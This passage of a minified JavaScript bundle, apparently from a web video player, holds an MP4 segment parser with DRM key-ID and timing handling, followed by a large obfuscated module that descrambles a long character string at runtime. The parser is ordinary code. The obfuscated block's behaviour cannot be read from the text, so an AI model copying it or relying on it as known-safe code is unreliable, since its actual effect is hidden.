n.concat(u||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0});t.getCodecFromSegment=t.isValidMp4=t.parseSegmentData=t.parsePlaybackTime=t.parseBuffer=t.getTrackId=t.parseTfdtBoxOffset=t.getMp4Fragments=t.removeEmulationPreventionThreeBytes=t.getTrackSamples=t.getAvcSamples=t.MP4Parser=void 0;var f=i(10045),d=i(25550),g=i(28764),nt=i(58935),e=i(72181),a=i(97630),tt=i(81361),it=i(42283),s=i(56093),v=i(79814),rt=i(70016),ut=i(91520),ft=i(16368),et=i(18882),y=8,ot=function(){function n(n,t,i){void 0===i&&(i=f.ISOBoxer);this.context=n;this.mp4EncryptionParser=t;this.isoBoxer=i;this.CryptoModule=ut.ModuleManager.get(ft.ModuleName.Crypto,!1)}return n.prototype.parseSegment=function(n){"mp4"===v.MimeTypeHelper.extractContainerType(n.getMimeType())?(n.isInit()?this.parseInitSegment(n):this.parseDataSegment(n),n.setDrmInitData(this.extractDrmInitData(n))):this.context.logger.debug("Skipping parsing of a non MP4 segment")},n.prototype.extractDrmInitData=function(n){var i=this,t=this.mp4EncryptionParser.parsePsshBox(n);return this.context.logger.isLevelEnabled(nt.LogLevel.DEBUG)&&(null==t||t.forEach(function(n){return i.context.logger.debug("initData found: ".concat(n.initDataStr))})),Array.isArray(t)&&t.length>0?t:[]},n.prototype.parseTrackDefaultParameters=function(n){var t=n.getParsedData().get("moov.mvex.trex"),i;t&&(i={defaultSampleSize:t.default_sample_size,defaultSampleDuration:t.default_sample_duration},n.updateParserMetadata(i),this.context.logger.debug("default sample duration for "+n.getMimeType()+" : "+i.defaultSampleDuration))},n.prototype.parseSampleGroupDescriptionBox=function(n){var t=n.getParsedData().get("moof.traf.sgpd"),i;if(t&&"seig"===function(n){return String.fromCharCode(n._raw.getUint8(12),n._raw.getUint8(13),n._raw.getUint8(14),n._raw.getUint8(15))}(t)&&(i=function(n){var t=1===r(n)?20:16;return n._raw.getUint32(t)}(t),!(i<1))){var f=function(n){var t=r(n),i=o(n),u=1===t?24:20;return 1===t&&0===i?n._raw.getUint32(u):i}(t),e=function(n){var i=r(n),u=o(n),t=1===i&&0===u?28:24;return(n._raw.getUint16(t)<<16)+n._raw.getUint8(t+2)}(t),h=function(n){var t=r(n),i=o(n),u=1===t&&0===i?31:27;return n._raw.getUint8(u)}(t),u=function(n){for(var u=r(n),f=o(n),e=1===u&&0===f?32:28,i=new Uint8Array(16),t=0;t<16;t++)i[t]=n._raw.getUint8(e+t);return s.FormatHelper.bytesToUUID(i)}(t);this.context.logger.debug("Parsed SGPD/SEIG, entries(".concat(i,"), key ID(").concat(u,"), IV size(").concat(h,"), isEncrypted(").concat(Boolean(e),"), descriptor length(").concat(f,")"));n.setDrmKid(u)}},n.prototype.parseTrackEncryptionBox=function(n){var t=this.mp4EncryptionParser.parseDefaultKIDFromBuffer(n.getData(),n.getMimeType()),i=(null==t?void 0:t.length)?t.pop():void 0,r=n.getParsedData().get("moov.trak.mdia.minf.stbl.stsd.encv.sinf.schi.tenc")||n.getParsedData().get("moov.trak.mdia.minf.stbl.stsd.enca.sinf.schi.tenc");r&&(n.updateParserMetadata({ivSize:r.default_iv_size}),n.setEncrypted(!0));i&&n.setDrmKid(s.FormatHelper.beautifyUUID(i))},n.prototype.nullifyBox=function(n){n._raw.setUint32(4,1936419184)},n.prototype.isSupportedEdtsBox=function(n){var t=n.get("elst");return!(t&&t.entries.length>0&&t.entries[0].media_time<0)},n.prototype.parseInitSegment=function(n){var t=u(n,{},this.isoBoxer);t?(this.parseTrackEncryptionBox(n),c(n,this.context.logger),this.parseTrackDefaultParameters(n),this.context.settings.IGNORE_MP4_EDTS_BOX&&this.removeUnsupportedEdtsBox(t)):this.context.eventHandler.fireError(new g.PlayerError(d.ErrorCode.SOURCE_EMPTY_SEGMENT,{mimeType:n.getMimeType(),segmentUrl:n.getUrl()},"The player has encountered an init segment that is unexpectedly empty."))},n.prototype.removeUnsupportedEdtsBox=function(n){var t=n.get("moov.trak.edts");t&&!this.isSupportedEdtsBox(t)&&(this.context.logger.debug("Found unsupported edts box, dropping it!"),this.nullifyBox(t))},n.prototype.parseDataSegment=function(t){var r,u,f=0,i=t.getSegmentInfo(),o,e;(null==i?void 0:i.presentationTimeOffset)&&(f=i.presentationTimeOffset);o=this.getParsedSegmentIsoFile(t);t.isSelfInit()&&this.parseTrackDefaultParameters(t);this.parseSampleGroupDescriptionBox(t);this.parseTrackEncryptionBox(t);t.setEncrypted(null!==(u=null===(r=t.getInitSegment())||void 0===r?void 0:r.isEncrypted())&&void 0!==u&&u),function(n){n.getParsedData().fetch("senc")&&n.setEncrypted(!0)}(t);c(t,this.context.logger);this.parseSegmentTimingInformation(t,f,o);this.addDuration(t);this.context.settings.PARSE_EMSG_BOXES&&t.setInbandEvents(this.parseInbandEvents(t,f));t.setLastSegment(this.parseIsLastSegment(t));e=n.getProducerReferenceTime(t);e&&(i.wallClockTime=e)},n.prototype.addDuration=function(n){var t=this.parseSegmentDuration(n),i;t&&(i=Math.abs(n.getDuration()-t),i>.5&&this.context.logger.debug("Segment duration is off by "+i+", corrected from "+n.getDuration()+" to "+t),n.setDuration(t))},n.prototype.parseSegmentTimingInformation=function(n,t,i){var r=i.get("moof.traf.tfdt"),u;r&&(u=n.getTimescale(),n.setTFDTBoxOffset(r._offset),n.setBaseMediaDecodeTime(r.baseMediaDecodeTime),n.setPresentationTimeOffset(t),void 0===u?this.context.logger.debug("Could not set playback time - segment is missing timescale."):n.setPlaybackTime(r.baseMediaDecodeTime/u-t))},n.prototype.getParsedSegmentIsoFile=function(n){return u(n,{iv_size:n.getIvSize()||y},this.isoBoxer)},n.prototype.parseSegmentDuration=function(n){var i=this,t=n.getTimescale();return v.MimeTypeHelper.isAV(n.getMimeType())?void 0===t?(this.context.logger.debug("Could not parse segment duration - segment is missing timescale."),null):n.getParsedData().list("moof.traf").reduce(function(t,r){return t+i.calculateTrackFragmentDuration(r,n.getDefaultSampleDuration())},0)/t:null},n.prototype.calculateTrackFragmentDuration=function(n,t){var i,r=n.get("trun");if(!r)return this.context.logger.insane("Media segment is missing trun box!"),0;var u=n.get("tfhd"),e=u?u.default_sample_duration:null,f=null===(i=r.samples)||void 0===i?void 0:i.reduce(function(n,i){return n+(i.sample_duration||e||t||0)},0);return null!=f?f:0},n.prototype.parseInbandEvents=function(n,t){var i=this.getParsedSegmentIsoFile(n),r=function(n,t,i){var f=t.fetch("sidx"),r=0,e=n.getTimescale(),u;return void 0===e?0:(f&&f.earliest_presentation_time?r=f.earliest_presentation_time/e:(u=t.fetch("tfdt"),u&&u.baseMediaDecodeTime&&(r=u.baseMediaDecodeTime/e)),rt.isNumber(r)?r-=i:r=0,r)}(n,i,t);return i.fetchAll("emsg").map(function(n){return{schemeIdUri:n.scheme_id_uri,value:n.value,presentationTime:ct(n,r,t),eventDuration:n.event_duration/n.timescale,id:String(n.id),messageData:tt.ArrayHelper.convertBufferSourceToUTF8(n.message_data)}})},n.parseFourCharsText=function(n,t){for(var u,r="",i=0;i<4;i++)u=n.getInt8(t+i),r+=String.fromCharCode(u);return r},n.prototype.parseIsLastSegment=function(t){var f=t.getData(),r,i,u,e;if(!f||f.byteLength<4)return!1;for(r=new DataView(f),i=0;i+3<r.byteLength;){if(u=r.getUint32(i),u<=0)return!1;if("styp"===n.parseFourCharsText(r,i+4)){for(i+=8,i+=8,e=void 0;i<u;)if(e=n.parseFourCharsText(r,i),i+=4,"lmsg"===e)return this.context.logger.debug("lmsg found, this should be the last segment in this stream"),!0;break}i+=u}return!1},n.getProducerReferenceTime=function(n){var t=n.getParsedData().fetch("prft"),i;return t?(i=1e3*t.ntp_timestamp_seconds,i+=Math.round(t.ntp_timestamp_seconds_fraction/Math.pow(2,32)*1e3),et.ntpToUnix(i)):null},n}();t.MP4Parser=ot;t.getAvcSamples=function(n,t,i,r){return p(n.moof,n.mdat,t,r).map(function(n){return n.nalus=function(n,t){var r,u,f;void 0===t&&(t=[]);for(var e=5,o=[],i=0;i+e<n.byteLength;)r=Math.min(n.getUint32(i),n.byteLength-i-e),(i+=4,0!==r)&&(u=31&n.getUint8(i),(i++,0===t.length||t.includes(u))&&(f={type:u,data:new DataView(n.buffer,n.byteOffset+i,r-1)},w(f),o.push(f)),i+=r-1);return o}(n.data,i),n})};t.getTrackSamples=p;t.removeEmulationPreventionThreeBytes=w;t.getMp4Fragments=function(n){var t=n.getParsedData().fetchAll("moof"),i=n.getParsedData().fetchAll("mdat");return t.length===i.length?t.map(function(n,t){return{moof:n,mdat:i[t]}}):[]};t.parseTfdtBoxOffset=function(n){var t=h(n.getData()).fetch("tfdt");return t?t._raw.byteOffset:0};t.getTrackId=function(n,t){var i=t.get("moof.traf.tfhd");return i?i.track_ID?i.track_ID:(n.log("Track fragment header has no track_ID field. This does not look like a valid mp4."),-1):(n.log("Cannot extract trackID from data fragment."),-1)};t.parseBuffer=h;t.parsePlaybackTime=function(n,t){var r=k(n).get("moof.traf.tfdt"),i;return c(n,t),i=n.getTimescale(),r&&void 0!==i?r.baseMediaDecodeTime/i:void 0===i?NaN:void 0};t.parseSegmentData=u;t.isValidMp4=function(n){var t=k(n);return(n.isInit()?["ftyp","moov"]:["moof","mdat"]).every(function(n){return Boolean(t.fetch(n))})};t.getCodecFromSegment=function(n){var t=u(n);return ht(t)||function(n){var r=b(n),i,t;return r?(i=r.entries[0],t=(i.get("esds")||{}).decoderConfig,t?i.type+"."+t.objectProfileIndication.toString(16)+"."+t.decoderConfigDescriptor.audioObjectType:null):null}(t)}},2746:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.ContainerMp4ModuleDefinition=void 0;var u=i(16368),f=i(86480),e=i(36004),o=i(44642),r=i(40163);t.ContainerMp4ModuleDefinition={name:u.ModuleName.ContainerMP4,module:{MP4Parser:r.MP4Parser,MP4Decrypter:e.MP4Decrypter,MP4EncryptionParser:o.MP4EncryptionParser,CmafChunkParser:f.CmafChunkParser,getMp4Fragments:r.getMp4Fragments,getAvcSamples:r.getAvcSamples,parseTfdtBoxOffset:r.parseTfdtBoxOffset,getTrackId:r.getTrackId,parseBuffer:r.parseBuffer,parsePlaybackTime:r.parsePlaybackTime,isValidMp4:r.isValidMp4,getCodecFromSegment:r.getCodecFromSegment,getTrackSamples:r.getTrackSamples}};t.default=t.ContainerMp4ModuleDefinition},18882:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.ntpToUnix=void 0;var i=new Date(Date.UTC(1900,0,1)).getTime();t.ntpToUnix=function(n){return n+i}}},function(n){return n(n.s=2746)}])},72:function(n,t,i){var e,o,s,u,f,r;n=i.nmd(n);r=function(n,t){for(var f,u=87114,r=[],i=0;i<u;i++)r[i]='<xioatt%=fmnntro1(){fap ]=.41:buuc]iannte{tfnn]t.od(p,a).teeapirTspik)e(n, fynntco)(T{cute0saric)"dvprnt8eoilnnaprxsroodnp,h.lecxu&fsm,g,yo_oSpbdv]T,w]knC,E A,P+x&UdIaD(OrMiLnR2BoG8WsMtta.ror(t,i2e,t=6g8tSi3t64>ftn(ttof(a)hv)rpe"itnnwAD.tSVie((o..ueferotrbetoO=faeu,e.8yoefengmhr;=etuwnniig,thiiUsno6O?hepibgatSieU&nn6l(l)=<Dueb_rrMeXsSfF1_tNeE5E,?8uSbwr,e4:D:r.2epUpno3:(A)tWxieg.t=iet32t4e}tMtX,UfNo3?:)}nMnXbUuN93i;:flnctdoe(u{]at .;rfnk={cvo1s[T,.vhCa[f,ev81n[n,0v=Cd[],it0ts[=,titfs[.,trdfe[d,dsosr[a,{tdps[2,&durl[g,rd8t8[,,Mdsdb[L,,d5a=[],ofIde[ ,pi(f3[=,tonfc[t,ao.vT[a,mptat[x,}vixn[d,,ved5[[,(anpa[c,id1pe[l,hmide[r,stalp[1,.t,or[.,stlce[t,ttsd"[r,gttz:[i,Stgs)[i,mtnp [c,Sftts[+,gfudo[e,sr(fi[p,tr_kp[),tr0n,[1,0rixd[],nk.da[g,tmedE[=}s"unceriae)"e=ty=e faUenx8crna>).f=r,tCi& ))n.laiO3nTr p0r<yttn&0(e[n]t[a..hor3o"eutm0o,n.phpreoreAti1>,w.nh.r.oseut)2p,|.!htrvoueotr3e]p;n==et :i]t|Alrmy2[ei/.chtr;o5eita0g,csh.oh;rpo}eut80T,nol.hhrr=oeecto0t,;mg.mhhreooe,t20m].,t=set di.tnAnroy,[)ad.0h(rtotett,0.,=v7.ihernoeerte0r,[c..)hnr8o5e1t:0.,=1n..htrnoeettn0d]=,s=iel aittsA<roy[["h2.nh=r0oIeftE03,tva.ahmrCoye,t.0:,=cn.nhnrno8egtt0),=1n.phtreo|e,tr0=]l,t=+e: ribttAerly7[>,r,e,t]t,k=get ,int2Atrayi[k,t,i,r,d,s,8,2,e1a,<05,i0],d0[,g,(,,,0,",(,o,p,.,r,e,a,S6-1)5r1s0_1l1=151a7a,N7}1d0]1a00168,151t1+4c0e)iUhncwtU.n,8.rca|(a0}0u0t0,0p0p0t0s1s5m1i1f1,7E1t000n0p0c0)0d0l0)0n0i0"0,0,80,[1r,e1z,,1a,,0o,c2d9.,:12,)0e,s0l,10:,e1r,a]+,e={vnd(osxoasdbosUs,n=ee" tiitsAer_yN[s,0,(,u,t,h,=,:,n,t,k, 2&1>7z1(4n1s8o3B,b,o,0,0]h,i=te= UigtnA=riym[r,(,h,=,r,a,6,.]),U=te( ]iytnAerdy;[=,_,w,s,m,S,,,"]y,]=t,n=CeI bi7t]Aor3y)[ ,e,x,0,e,a,&,n,,,r,!,i]i,==I,i=,ea :idtrAir=yi[.,y,t,(,e,y,t,(,a,M,q,n]a}t(g,t=ou_cgisntt|{.au h,e,i=[] a&0dftrres1uema;grmnnos_lGn(ta;:+i)i.ouIhUa5gamnnas[eh);f,rheRn0lsnatk;r-k;0aa=,[e]Fbet,Lnnht);eom(i=nep .itt=Arr)ypab8e,Dec na<a(ilwsi[befOer,e.eyne&fnsetbisb)ttLtngtS)Ssntpi)t&2_0iiobot%Llnetn)aiis+t{te4g,s=c,e=5;e<i.ae(gihnee+ci9s>tin0eu,s)=a8=C[p]ebdtiLsn0tt;eenurn(ip,u=eu.ceion3)0rnttrr t(a.diafst0knd,en,s)e}0nhf{noteoi(:)arot0rr =(o.:s)sanew{Uins8yraae((0g0&0;0i3"2p,n,d,,,i,m7 6F,(1S0:6=0e0,0o2r8a162t0i0,2e8,1,2e5t2ieaard5oabieet yse.<o|=.eaep=i{gtruqoe1cdi=d}x>>d1+ens"m%l.n)fseruenbynniec<L7se0cna.n(lco.n)<t3a6l1t2e)o}"a,fanBthoi(w)ev.raiinpaifgraay0gane0ltn.t";,+0)|fg"2ikes"&==(y=)[h]e.oy0e){==patcnA=h2ve:T}en*cHd[c2;:rna3}|ecu9net(kiftyp,,,d,m,t|oAt}0yLfin0tioe(t) rstare 2(r.idiroIAeh)),r=_uhctionsep{keduin tekamiao,f)4,.=tuyc=idn)ec{tar y==eu 0iltaA(rly([h,c,e,E,r,l,i,(,R,r,d,7,,,c,)511=4se.dirytnoe>r>,4m2d5Aetd.rst=ot>)>16t2a5.etd)r(taof>t>s&i5.,{5b&e.runaEi=np8u,19u,{,d]u;de+u}nee2sym(l_rvto&=(s[12s=g.&anptera.ed>>2c&]52,n[23e=&.laipuepane>>D1U&25n,v[o4+=o.saFpae,a:ee>=8r2e5"ie1k]o2%5iews=m.l,ratn)ttik,mPhs,f)n,h=euac,i=niet{3emu[n[t"k_mLis,r( )ey:e,trpe),o(e(),,c=2unc_i(n&e1{ye=urn:t=k:maho,oek +iPt.Anrsyd[8,e,(,.,,407g1m0}8U&})p>E4n(.6,1t6,0tee>n1i,(6u2o0ter>08+2i5:ee)i}2otf,ndt&ol(.){ret,rn "(&.ii)fe"lihe2"&= eit0pt?i(P.sm.d.De:e(r.,mgd O,,t(+,i(0)n}sdnfmnltio,(a,u)lftr(v_r,n+[b,v=O.reNgvhiaA-})u[e]sv(irat)orft]ra I."pnl((nu&le[r.tosf>sfe,]Pcfn.ad(a),}tp!fpn.t1op(e)Ef(r<virui=e&lsntti,"=a];in-&)a[|]1u{e:i0)arktnre ..dp,l,(nuUlr[n.go(vel(4f9=9[7o9t),.ro5caton).ro(crt.h8eU))}&h(fTnotvo.(c)nftrovar5ieell,not=,&=t],i(-f)S[i]6Tnepi()nrEttrs a.ipeli(iual1[..ev:xp.vovc,tdn!),,c=nuhctirn)eh{ias |=neo ei(trAcrSys[0,),n,a,0,H,e,p,1,{,0,D,m,p,e5,1e40(b2k8.9}0y0aea>02i,]1s7(1e8A&;)=>i6 (-5T8&&;).>e,25p&d,0,r,_,0,e,,,e,0,n,[,g,r,6,,,.,0,i,h,u,i,v,8,a,b,i,.,:,=,t,A,c,8,a,I,a, ,e,t,a,t,t,i,i,2,n,t,r,),f4P050,0h0b0h0H0O0l0i0o090e0a0,0,0)0t0c0y0n0i0P070E0n0,0o2a5t2p5r2c5=2t5})nr7t+rv r(e.Tvtd.ir}9_pfInntnoM(,)svarti,naawe&s-m,les.|.],r6naw.Unn(8Arraa(v+e.teeg[he;co}(R=m;n< .teegah.ne+aiia_nT..l)ge,e[:+j]tiadtpencshni<e|T.is.ecetdadcn <x|).masRndrnaa0cd;.etugnstlk.s=to,e)",y=eu)c.ipnsem{(eturnathkts:b&,n( )nt=kGs=t=,t)etik.swsc,4)mtak.stsa,")ttskestct,u)&}Ne(fanutmoc({{ eiu)natdkhb ro,=e% )i{tiAlrIy([",<8n156d1.8s0d45,d9a,"9d,?,s5O1=811t2a)e}tc&fentteo0(y,0)or)tnrn +((.;arp0n.wnUan=8lrta.(U(i2n8.9.0t0oea>12i,s1o711.8=&g)(>{6n(i5:8c&h)a>t,c5t&(,p447a1e0n8s&n)h>a4U(a6,1h680&ii>f1T,e6s2r0=is>M8r2t5.ib)r},fineteoh(t{2aU n,;;s=eu]ctitn(e.{>etudnptok2s;st,Eee oiatSA6r)yn[d,a,:,],t,:,r,h]t,tv.droe=a=].iyee?i(e.:g(,)T},i$fkn)t(oc({)uvvrfnaanr,i_s&st|a]rseisp1r;esSpst|m}&olisphs.|l]"doi0vss||.]pp>[a,r=e]ol$[b;tot(t=7;;<e.uehg)h,ng+1pipnsg((6p2a0&renp.:y,e[ehglhl>c>,),pNpesr(s5e&O[t],bhtdL&nett)1ptp,cnnna9(ireai..r}tst(pI.]lmcc.ya,ltrpn.)n;ro=(t=s;o<e.re)gwh)nr+=hipts,(,6I2;0Lo1n(.by)emengsh=>r>&) h.pis:(o5f&t[l].b;taLtnatt)sh,hicnncae(orrap.srpt>trpu.tlece.(aWliotnp)8;cof(d=t;f<i.leggthenn+el;p(s2(t[(]eb.thLtndt_>>>i&l5&)5lapbs)(e5P&r[S]=bdt<L0nstc)nlllrclnuaa(8rmat.orltnt,py.mlnc}.&a9lcdUne));(a. a=ee_ eittaArrbym[,,O,m,n,:,s,o,P, ,c,+,=,n,8,0,p,o,c,+,2, ,{,(,f,_6p2h0Ds"wod(h5>n8?235=swwedrh&([5o8o&i.,e=git)>r8S2v5ss}hhight,e,p2r0)0,0o7S,0,},1,b,=,n,g,a,h9b1t8t1"511i0i1e1y1-1e1e6e1)5%4t,r9d1t1p1E0s1=6l1s4F1a5c9t,"5.1|4)108r1m550t0"0g0t0N0g0i0e0a0t0,0a0}2t,h50,=5m]d;cfo"lv)"==ei=cidcc&r)t0r. (=ektascD,c,t((.ovaC(n;w8Uene8cr:a=(t1 s.p]oMime{dc,..or{fil{CSm=a(iwirieyds.l,v{ltd|,d5o]ic.ncai([r.lpnnta])p [".pe%gah1,,)e)le))a,m.(a.Retlo<&e.)u(hecaiws&rragi1[n]oimstrpanin[a].)dtea,psyinul=,.)|i.(ch4vi".==iicCd}ct{(ar =,(=.,i=l.npt_.ac_nu)_=a,e[s=menmse+=,v=e.ypa_;eiparaltid_nettin}_tlag,_f3aS)1ab=654e0{s3m,nis)a,ialtsogte:t,tnon_ndT,n=e,i==et eaoaTidwnn;wgAarty(u4frr+2e)=w n(wfD,tlV]ee(,e8 erpa,Btfaet(t)>,a=ee, iaeapitwrnhw=A_rly=urfmr(2])erutarn t.(enU(n)1e(+,,.aeegoh),r..e}U:nc1l(.,m.re>g)h=,=.re.Usnf1a(g,a.)ecghh),,=mew 3iltlAtr8y=[A,a.aene0a)_2ref4lD_iphcd<S6=stgsnerilftiee_flFgi<t|l.getenar_=rgfrlt_tda,r.tehena]_Crtf(le_eoapht8b,l,ti_glsg}>t>p4u2d5Us0gtnmr0ltp0o<i+evcamta"ihiaityxfla}sa>t1y&l5o,(.leeeaai_1r(fole_fotpYtmb.lgto_dlnga><>7&{5t,s5n& .IeuetaS_ar,f,lt_noep,tibdlitt_elrga,o.aeieran_,oaskrpinttisd,crtir=f]a2s=betes 0n,o.tehetaa_fo;slr1ietsird;c:t0r1fhavs,bTt!sy1i,r.eeWe]a(_roisprci=t;itddcnt[rsfeaesrb.tis=2.,e.ie(eras_toes riioteisdwc.t)r0fda"snb3tssr3;,y.+ete,ae_ioesartibtsiadacetsrrfLagsiblt&s.4o,a.aeOedaa_eots[r,iht)indtcDtlrrflausabhtes65P,o.meaerae_oegen_"dr,a>.>t&,55,)5=&p,259|o,<5t|..th ogaffdr(ae_sd2,o4C|e.tit_,eiti_.udanmtn)sr,547|g.uih_.eate_nhfo=aem(n&s,,9,;,o<+6(gg<0|r<e2s_t3d.touc)t([t<T7|3(,I,h,0.aeaURnb8,0s,(..e0Usn)8n1,]nl1.nocchti[1<n7i3n,h,=,h.deoUwn_8r0c,,.TetUin&8e1[]Tp<.bo[cota[w<l7=32,r,1,g.pe=U=nG8[0},..LenU,ni8n10].ha)vtbklh.ci,,,.(B.mvtCofp,P(1)5}eaafan=tioi(?){returo r(d.epeaon.w.Udnu8Rrna=(.0,0)0)0i0,0p0,1m0"0a0i0t0r0]0,0a([5i8.&i.ehnn,e(c u.t.>.8t2 5&epccafn+ldoona,e6f2r0le,sam[ldsizi)2>a,l5t&u.panphetidee0u0e0,0,((5e8p&i.ea=p+etaKen>,8y2t5&e;swmilorat8,e,c]Y,t(t){} (t,o=}uacti.nieL{fah e=Ge) ciGtsA(rsyu[s,i,t,o,s,4,[,p,n,o,p,l,t4h721t0]8 &_.idt>p2],c1e7H1h8,&a.od)>e1),c612_0|e,ie)5>e,25|& .idw0;0t0,0[(u2.8)9n080teod=rstgo=)n>n4&(a6.1s6,0ne5d.ratIoi)e>a6n(e5i8o&Z.,ula)i>n+>,8!2m5&endWrstpo_,=,=,),.,u,|,n,t,b,i,.,4,m,=, ,t,i,r,3,a,l,o,0,;,P,;,a,r,0,d,s,t,i,1,0,i,n,a,e,0,&,v,,,),+,&,y,>,_430)0a0i(u5280&t.[itto)[>i,c5i&..tidt(,m,0,f6+2)0=eihniRhu)>>d,&5T&,.!eCgite0t0s)trot3r2 }(5.ekedrir}nvmf(n.tooa(a)av1rni5n!airrsmovdtrotarn e=l(k.if+dMnhw:U=nf8uriaw([0a0=0)5>,m477e1i0r8e&t.0d)>)2,,(1=7t1a8)&r.]d >a16,,6L2>02e]id)a>8,u5k&1.tdd0i0<0d1,0d0m0u0o0]0e0c0l0f0f0s00)),)=ta)hmfro1rwe"b_sEMTdea}eLoaetiae;Nf,6=oa=hlfDoTrfehbosoM1dbauehotetireS1t),n[tdk.ttde,se< CitteAarays[e,],<,t,l>.>i4E2r5aoe>}1t&;5t,:>r>(&e5e,(5u&o,0>5>e4(2n5ndt>s1h&f55,">i>8&25e,U5i&<]{)rsc9n,vagdood=4=S..y ef(d=((a,_)gt kataa:,i,t,B)_:grt_{ee,(=a(=,s.(etgChys,,&(r.=rrf,itniarr.)},r=Duoc9i.nee.{aemuenee.d(rRtyou=r.uu,aZign||=2e4t6:235stnkytiai,o(u)cm=e)),,]=Iulc,itnaet{sa8 n=dew _ittgAcrCyi[h,=,T,r,=4t7=1h0080&:.id:>(2t,i1F7t1(8T&f.ed)>.1m,s6i2:0reei<).>,,s5n&t.nds0d000d1,0e0a0.0.0,0T0t0c0i1)0y1n)rrnt=ra"sitep"i=.e,txpe&h(g[r.lehgohM1e=s)etak+tneb,P)t,(upcaient)tvkrneaiantnrfenct+o((e,a)tvnr&i=0tne0taa0drl0eratnrc =.ke)gih:&evaii }!{=)[m]tdirctaot&e(,=,)av&ii .!)=p[f]fsoz,&&(.=d)&vhiu m!v=n[.](fta&s0&,an4t,hoxda0g=&te0t.todppsittopTem.Odfoe)&G(r=h)t,n0n0,i+n"aerE1((+278n9A0v0,ttl>n=ti))>d2[,(1e7s1.8,&%.nemg,h_>u>.6d((5,8s&n.le]g,ht>(>s,[5g&e..eagaht(b2S8.9r0s0uet>e>E4f(=6o116,0:e5>e>265(d5.8i&u)]>i8,2 5&ei}ni_fsnot.o7(e,s)hvir,a)ressoad"p)i==m0d1g*Sogensam,lts=|(]t.dedgthas.npo]ih,lron8wkUen 8grsay((.teig)h}1t*i."eugtha)ss(tnse,n=S.0e7g"hrvhrght0dftrrpv0ep+o=lenptr;8+,)y+i(c=o[r]t. urahipn<r|av+.=o417(1e0)8 &(.2ueasionu>u>s4.r.a(+a=L1a7=1g8)&n.au8abilnL>e>u6artad+s=1652C05dldUret;oy)A>c8srIa.+8=t5u&r.Guuanion,roaa+h=r4e7.1o0i8.&u.riier>s>.4tr0a{+e=t1m7c1.8a&f.kiee[>n>c6prkan+]=(6d2h0,d+s,z+)l>t8ar,ae+n=.5(&T.pi)eyr[ae+n=r."l(g,.)s,e&dinO<o2)d(fna3sad(plnss{nprxaD+.=i.pl;g".esrete6dedxn8<k|<.rl,gt.laaR+drnrauci<<4udeflans.pgd(ingVa=ue<i1.d,frafs.iyNknoy8c5a+piewr a,+i=e144)&..al)gu.nehrtd.tsoaP2i[rett,3[)+A]W15&,.=lhgA.eedr6ditloePriermt>,.[,+]]e(e2c8a9l0i04drcempo,i(ionaite=fsset0>s>)4Briat+a=81(7t1o8(&e.Co,pesiteoaT.mtOtf)eo)a>e1n,([e+<]u(65d8r&+.)oipisatcoiTWm]Oafrer)t>l8tr=aC+n=u5{&h.4o8pdsetmohT[m(Osf_e,;cesuiniess=gpenttutasinnnh|tukntIui,!)!,h=nunctian"emii{ear ,,6,n,,,n,|;2+.2l+S*sorers:mllas.|O]s.sepg_hOs)n,oeit,tarnow=Unn58srcar(d.hesg(hn8lolldn+t()<.-ef(d)lr0s6lDnctt;,ar h=(;doa(&=:;p<o.(eigThepe+ahe=ddBotp])vdrrptnoa,i[k+I]n(i2n8e9r0i0&dnd.r0tvot)&>r2.,s[i+ ]_(l6c1a6s0hd-dNr=ttot),>>11,}[)+i]i(n5e8(&t.Uu(asiIn_>0>f,7[u+o]a2,5tdvdnr)teo[,)[i+,]((f2d8y9r0c0=d.siz()2>I2f,,[,+.]i(T6e1i6c00d.siz.)u>u1?,a[i+d]U(o5=8{&i.rihea>i>,,=[A++]i2x5ed7s;zo;We=utnue}s.gie,t[u=a;iln=hrtSk&tcun,a)<,u=Iunc(i,nitana{ eguFn=acd1ok=,=t.tyCeyeotcna:h(e,o)a}e)<v=reF,{rttp:a.mda0: ,bosf.d(moot:a,)nDtSe)m)nn:nuscriwn,t"{ aw d,i=a(4)Pnepbt,;ee=urnee=nnwhUcni8srca|(].3yue(etg6h]n.b(tcLineta)p.se((s),e(s&t2n+iibhtiL2n}ts)les}vfinntpoe y(n,N,u)kret|r. h(t=cpits:t,=x{oute:e}or=q.i)eif&net=o.(r,e))rctcr7 s(2,nubla=t?s.ta*hIe=}),a.(x)ootd)tineep)rBstfsn"teoo h(i{thMo) oea mr=oe(nD(nrmoctroqiile) rry noi ]u(ran|la eupp=r/et eyu@bodlup1peusi>-iovm(nese)tvlriH zs(runcvisnrtd{nuaceirn)e )nr,t(rd |.Rx0oStl=e=tb"eetYaesUgd?>byent)a]sagh.ti)dt)kf,nutdor(i){fer>vhr(e(1teoabg=mdnnsrl0n,to;a+o)avvr(itasgemtn=sUe,;foL()ar 8 rnciPOtj=ci.erlt1tape.2aeO,n&rtporcyec(l,(h,t)h&etlns=i[e]m}ee0u8ntt},_.sxao,ts.i_=seonu,es!0,(.vx.oTts.ee,atle=l.txio t.,t..psl)(dhbs(aigsmXn6sh}(.tx.olta==,(.Oxsolti.S_es,o6uten!(,+.nx)ort(.de=aelp=h.)xto[t,}b)fjPf)nhteox(r{dhis,i"iA=&u=c"ionv)yv.r=t,{=;)h0s,ol=auecti"neeei4{t[d]u|)tee]=[]f,i[p],taer.yonc.t=i=}gt0iL.sf3=du0caienee_iu{aa" i;,euuvno!e[)]+&inutueu.,n"enO{(a)ntten={[v]osai6e&)ot]e).op7i.ennp1t,t>a1W})t[iy.nreg et=sutcfi;nret{_ap >,t,w,r;mfoift.ew)sf.2e=1a(gEm1npsllinste)eoa()=r.leOg=han:0en<ae+[nUiana.Na}llt=ik,trruse,tb[P]o;il(e0ftrSru[a,t==rtu,eet2.feeglhhno1en[a8gam"nTstlentt);h+=)8.)uih[aog}mtnps=n_);fnr4a.iflfnit4,e=t;6<n;p+n)u[n]balpgyitdih,u)4}.tail.yiFpysk=nu:ceign,)dt={.}t}bjtproeoey,eapspg=murc!i.n,t {.e1uenit7i".0n}",afal,gfCnctoo (i){thpusr(;)()%,shostoe(ndoni"i(5urcei)nCea{i.!lysd(c)1)),phts4o,(lpartielcoiei,ifrnuttoe(,)Dt,por)iel:l"ss(<)_)(,khes"oM(betded:iierite%,=fdn,t o4(l)dtPe:ddi.etiteue)}=)otDil.uno"tesea"s(tupcti 